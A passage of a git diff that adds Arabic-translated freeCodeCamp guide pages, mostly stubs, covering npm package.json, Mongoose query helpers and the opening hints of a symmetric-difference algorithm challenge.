+   } 
+  }); 
+` 
+
+[ساعد مجتمعنا على توسيع هذه التلميحات والأدلة](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/index.md
new file mode 100644
index 0000000000..bcfffa67fd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices
+localeTitle: واجهات برمجة التطبيقات والخدمات Microservices
+---
+## واجهات برمجة التطبيقات والخدمات Microservices
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
new file mode 100644
index 0000000000..65d664b1a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
@@ -0,0 +1,15 @@
+---
+title: Add a Description to Your package.json
+localeTitle: أضف وصفًا إلى الحزمة الخاصة بك. json
+---
+## أضف وصفًا إلى الحزمة الخاصة بك. json
+
+لإكمال التحدي ، اتبع الخطوات التالية:
+
+*   انتقل إلى الرابط الوارد في الصفحة التمهيدية لتدريس المناهج الدراسية. ![freecodecamp apis-and-microservices intro](https://user-images.githubusercontent.com/15084301/45616545-65732480-ba8d-11e8-9893-412ff6c68be5.png) [رابط المشروع خلل بداية](https://glitch.com/#!/import/github/freeCodeCamp/boilerplate-npm)
+    
+*   قم بتحرير ملف package.json وتحديث المؤلف
+    
+*   ثم انقر فوق الارتباط (التطبيق) الموجود في الأعلى الموجود في مشروع Glitch للحصول على الرابط العام ![ارتباط المشروع العام خلل](https://user-images.githubusercontent.com/15084301/45616579-8176c600-ba8d-11e8-8a46-4ac930578e74.png)
+    
+*   يقدم الرابط في الحل وهذا كل شيء. ![صفحة نجاح](https://user-images.githubusercontent.com/15084301/45616757-019d2b80-ba8e-11e8-8b5b-98dc6d02c235.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
new file mode 100644
index 0000000000..e0fb18aefb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a License to Your package.json
+localeTitle: إضافة ترخيص إلى الحزمة الخاصة بك
+---
+## إضافة ترخيص إلى الحزمة الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
new file mode 100644
index 0000000000..a64555e454
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Version to Your package.json
+localeTitle: أضف إصدارًا إلى الحزمة الخاصة بك. json
+---
+## أضف إصدارًا إلى الحزمة الخاصة بك. json
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
new file mode 100644
index 0000000000..81e54f3295
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Keywords to Your package.json
+localeTitle: أضف كلمات رئيسية إلى package.json الخاص بك
+---
+## أضف كلمات رئيسية إلى package.json الخاص بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
new file mode 100644
index 0000000000..19ab1cf701
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expand Your Project with External Packages from npm
+localeTitle: توسيع المشروع الخاص بك مع الحزم الخارجية من npm
+---
+## توسيع المشروع الخاص بك مع الحزم الخارجية من npm
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
new file mode 100644
index 0000000000..2540fb8cfb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use package.json, the Core of Any Node.js Project or npm Package
+localeTitle: كيفية استخدام package.json ، جوهر أي مشروع Node.js أو حزمة npm
+---
+## كيفية استخدام package.json ، جوهر أي مشروع Node.js أو حزمة npm
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package.json-the-core-of-any-node.js-project-or-npm-package/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/index.md
new file mode 100644
index 0000000000..88eb92d3b9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/index.md
@@ -0,0 +1,11 @@
+---
+title: Managing Packages with NPM
+localeTitle: إدارة الحزم باستخدام NPM
+---
+## إدارة الحزم باستخدام NPM
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
new file mode 100644
index 0000000000..7cc664beb7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage npm Dependencies By Understanding Semantic Versioning
+localeTitle: إدارة التبعيات npm عن طريق فهم الإصدار الدلالي
+---
+## إدارة التبعيات npm عن طريق فهم الإصدار الدلالي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
new file mode 100644
index 0000000000..33227f37c9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove a Package from Your Dependencies
+localeTitle: قم بإزالة حزمة من التبعيات الخاصة بك
+---
+## قم بإزالة حزمة من التبعيات الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..f1c328da84
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Caret-Character to Use the Latest Minor Version of a Dependency
+localeTitle: استخدم حرف الإقحام لاستخدام أحدث إصدار ثانوي من التبعية
+---
+## استخدم حرف الإقحام لاستخدام أحدث إصدار ثانوي من التبعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..544d5167d9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Tilde-Character to Always Use the Latest Patch Version of a Dependency
+localeTitle: استخدم حرف التلدة إلى استخدام أحدث إصدار تصحيح من تبعية
+---
+## استخدم حرف التلدة إلى استخدام أحدث إصدار تصحيح من تبعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
new file mode 100644
index 0000000000..91a26c0b11
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
@@ -0,0 +1,59 @@
+---
+title: Chain Search Query Helpers to Narrow Search Results
+localeTitle: سلسلة بحث مساعدة المساعدين لضيق نتائج البحث
+---
+## سلسلة بحث مساعدة المساعدين لضيق نتائج البحث
+
+1.  لإنشاء ولكن لا يتم تنفيذ استعلام بحث
+
+ `Model.find( {name: 'Leah'} ) 
+` 
+
+2.  لتخزين استعلام البحث في متغير لاستخدامه لاحقًا:
+
+ `var findQuery = YourModel.find( {name: 'Leah'} ) 
+` 
+
+3.  لفرز مصفوفة:
+
+ `yourArray.sort( {age: 1} )  // Here: 1 for ascending    order and -1 for descending order. 
+` 
+
+4.  لتحديد حجم المصفوفة:
+
+ `yourArray.limit(5)  // return array which has 5 items in it. 
+` 
+
+5.  لإخفاء خاصية معينة من النتيجة:
+
+ `yourArray.select( {name: 0, age: 1} ) // Here: 0 means false and thus hide name property; 1 means true so age property will show. 
+` 
+
+6.  لتنفيذ هذا الاستعلام ، يمكنك إما:  
+    1) رد الاتصال:
+
+ `YourQuery.exec(function(err, docs) { 
+    //do something here 
+ }) 
+` 
+
+أو 2) وعد
+
+ `YourQuery.exec.then(function(err, docs) { 
+    //do something here 
+ }) 
+` 
+
+7.  سلسلة كل ذلك معا:
+
+ `Person.find({age: 55}).sort({name: -1}).limit(5).select( {favoriteFoods: 0} ).exec(function(error, people) { 
+  //do something here 
+ }) 
+` 
+
+  
+  
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
new file mode 100644
index 0000000000..7fb47aff26
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Model
+localeTitle: خلق نموذج
+---
+## خلق نموذج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
new file mode 100644
index 0000000000..7a08402185
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Save a Record of a Model
+localeTitle: إنشاء وحفظ سجل للنموذج
+---
+## إنشاء وحفظ سجل للنموذج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
new file mode 100644
index 0000000000..b6c0d1ee0a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Many Records with model.create()
+localeTitle: إنشاء العديد من السجلات باستخدام model.create ()
+---
+## إنشاء العديد من السجلات باستخدام model.create ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
new file mode 100644
index 0000000000..0647bb0224
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Many Documents with model.remove()
+localeTitle: حذف العديد من المستندات باستخدام model.remove ()
+---
+## حذف العديد من المستندات باستخدام model.remove ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
new file mode 100644
index 0000000000..a976f58bcd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete One Document Using model.findByIdAndRemove
+localeTitle: حذف مستند واحد باستخدام model.findByIdAndRemove
+---
+## حذف مستند واحد باستخدام model.findByIdAndRemove
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
new file mode 100644
index 0000000000..8f0716e40e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: MongoDB and Mongoose
+localeTitle: MongoDB و Mongoose
+---
+## MongoDB و Mongoose
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
new file mode 100644
index 0000000000..e4763cc295
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: Install and Set Up Mongoose
+localeTitle: تثبيت وإعداد النمس
+---
+## تثبيت وإعداد النمس
+
+قد ترغب في التحقق من كل من [MongoDB](https://www.npmjs.com/package/mongodb) [ومستودعات](https://www.npmjs.com/package/mongoose) NPM [المنغولية](https://www.npmjs.com/package/mongoose) للحصول على وتشغيل.
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
new file mode 100644
index 0000000000..712f89a3f2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform Classic Updates by Running Find, Edit, then Save
+localeTitle: قم بإجراء التحديثات الكلاسيكية عن طريق تشغيل بحث ، تحرير ، ثم حفظ
+---
+## قم بإجراء التحديثات الكلاسيكية عن طريق تشغيل بحث ، تحرير ، ثم حفظ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
new file mode 100644
index 0000000000..9edecd6892
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform New Updates on a Document Using model.findOneAndUpdate()
+localeTitle: إجراء تحديثات جديدة على مستند باستخدام model.findOneAndUpdate ()
+---
+## إجراء تحديثات جديدة على مستند باستخدام model.findOneAndUpdate ()
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-new-updates-on-a-document-using-model.findoneandupdate/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
new file mode 100644
index 0000000000..a7fd3f935e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.find() to Search Your Database
+localeTitle: استخدم model.find () للبحث في قاعدة البيانات الخاصة بك
+---
+## استخدم model.find () للبحث في قاعدة البيانات الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.find-to-search-your-database/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
new file mode 100644
index 0000000000..1e25d51c75
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findById() to Search Your Database By _id
+localeTitle: استخدم model.findById () للبحث في قاعدة البيانات الخاصة بك بواسطة _id
+---
+## استخدم model.findById () للبحث في قاعدة البيانات الخاصة بك بواسطة \_id
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findbyid-to-search-your-database-by-id/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
new file mode 100644
index 0000000000..a31ac57549
--- /dev/null
+++ b/client/src/guide/arabic/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md
@@ -0,0 +1,9 @@
+---
+title: Use model.findOne() to Return a Single Matching Document from Your Database
+localeTitle: استخدم model.findOne () لإرجاع مستند مطابقة مفردة من قاعدة البيانات الخاصة بك
+---
+## استخدم model.findOne () لإرجاع مستند مطابقة مفردة من قاعدة البيانات الخاصة بك
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/use-model.findone-to-return-a-single-matching-document-from-your-database/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
new file mode 100644
index 0000000000..2a66dd08cc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/algorithms/find-the-symmetric-difference/index.md
@@ -0,0 +1,196 @@
+---
+title: Find the Symmetric Difference
+localeTitle: العثور على الفرق متماثل
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام [**`Read-Search-Ask`**](https://forum.freecodecamp.org/t/how-to-get-help-when-you-are-stuck/) إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+الاختلاف المتماثل (المشار إليه عادة بـ Δ) من مجموعتين هو مجموعة العناصر الموجودة في أي من المجموعتين ، ولكن ليس في كليهما.
+
+على سبيل المثال ، يجب أن ينتج `sym([1, 2, 3], [5, 2, 1, 4])` `[3, 4, 5]` .
+
+بعد التعريف المذكور أعلاه ، يمكن التعبير عن الفرق المتماثل من ثلاث مجموعات _A_ و _B_ و _C_ كـ `(A &Delta; B) &Delta; C` .
+
+#### روابط ذات صلة
+
+*   [فرق متماثل - ويكيبيديا](https://en.wikipedia.org/wiki/Symmetric_difference)
+*   [فرق متماثل - يوتيوب](https://www.youtube.com/watch?v=PxffSUQRkG4)
+
+[](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce)
+
+ [## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+كائن _الوسائط_ هو كائن _Array_ -like الذي يرث الخاصية `Array.length` فقط. تنظر بالتالي تحويلها إلى _صفيف_ الفعلي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+Deem كتابة دالة مساعد تقوم بإرجاع الفرق المتماثل من صفيفين في كل مكالمة بدلاً من محاولة الاختلاف بين كل المجموعات في وقت واحد.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
